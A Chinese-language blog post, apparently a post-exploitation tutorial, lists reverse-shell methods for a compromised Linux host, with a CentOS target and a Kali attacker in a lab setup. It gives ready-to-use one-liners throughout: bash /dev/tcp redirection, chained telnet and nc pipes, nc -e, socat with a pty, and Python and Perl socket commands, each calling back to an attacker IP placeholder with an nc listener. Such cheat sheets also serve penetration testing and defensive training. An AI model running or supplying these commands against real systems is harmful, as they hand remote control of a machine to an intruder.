作者名:白昼安全
主页面链接: 主页传送门
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: 宇宙有宇宙的规律,我也有我的坚持
当我们拿到一台LINUX主机的权限时,往往都需要反弹到公网的服务器上,一般我们使用bash来反弹的情况居多,但是bash也有失灵的时候。在这种情况下,我们可以尝试使用其他的反弹语句来达到我们的目的。
下面给大家列举一些平时用的比较多的shell反弹方法
这里的演示环境为
目标机器:centos 192.168.149.133
攻击机器:kali 192.168.149.129
一、Bash反弹
条件:
当前用户有足够的权限执行bash命令
当前的shell环境需要是bash shell下,不是bash shell的话会导致报错,提示没有该目录或文件夹
例如kali默认的就是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用bash命令进入bash shell才能使用bash反弹shell,如下
1、攻击机上执行监听
nc -lnvp port
"port"为监听的端口号
2、目标机器上使用bash反弹shell
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
bash -i 打开一个交互的bash
>& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
3、效果如下
二、telnet反弹
Telnet 是一种用于远程登录到计算机系统的网络协议和命令行工具。使用 Telnet,您可以在本地计算机上打开终端窗口,然后通过 Internet 或局域网连接到其他计算机。
Telnet 命令可用于连接到远程计算机并执行各种操作,例如运行命令、编辑文件或查看系统信息。您可以使用 Telnet 客户端应用程序来发起 Telnet 会话,并在会话期间发送命令和接收输出。简单来说就是ssh的前身
条件:目标机器上存在telnet服务
1、 攻击者主机上打开两个终端分别执行监听
nc -lnvp port1
nc -lnvp port2
监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip
2、目标主机中执行
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
3、效果如下
在4444的监听终端输入指令,即可在5555的监听终端查看指令结果
三、nc反弹
1、支持-e参数
如果目标机器上的nc支持-e参数,如下就可以直接反弹
攻击机执行
nc -lnvp 端口
目标机器执行如下命令反弹shell
nc -e /bin/bash x.x.x.x port
效果如下
2、不支持-e参数
这里讲的就是另外一种情况,目标机器上有nc,但是nc的版本不支持e参数,这里就给大家介绍一个技巧——NC串连
kali攻击机上开启两个终端监听不同端口分别用于接收输入和输出
目标机器上使用nc串联反弹权限
nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip 第二个端口
详细给大家讲一下服务端执行这条命令的意思
语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果
效果如下
这样我们再4567端口的监听页面输入的命令的回显结果就会在1234端口的监听页面显示
这招巨好用,大家可以多看看或者下去自己试一下
四、socat反弹
socat是一个用于数据转发的命令行工具,它可以在两个端口之间建立虚拟通道,将数据从一个端口转发到另一个端口,同时支持很多网络协议。
1、攻击机开启监听
2、目标机器使用socat反弹shell
执行如下命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port
x.x.x.x是攻击机的ip
port是攻击机开启的监听端口
3、效果如下
五、Python反弹
1、攻击机开启监听
nc -lnvp port
我这里用的是
nc -lnvp 1234
2、目标机器使用python反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('x.x.x.x',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
x.x.x.x是攻击机的ip
port是攻击机开启的监听端口
3、效果如下
六、PHP反弹
1、攻击机开启监听
nc -lnvp port
2、目标机器上使用php反弹shell
3、效果如下
七、Perl反弹
1、攻击机开启监听
nc -lnvp port
2、目标机器上使用perl反弹shell
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
即可成功拿到目标shell,效果与php反弹shell差不多,文章篇幅原因就不附图了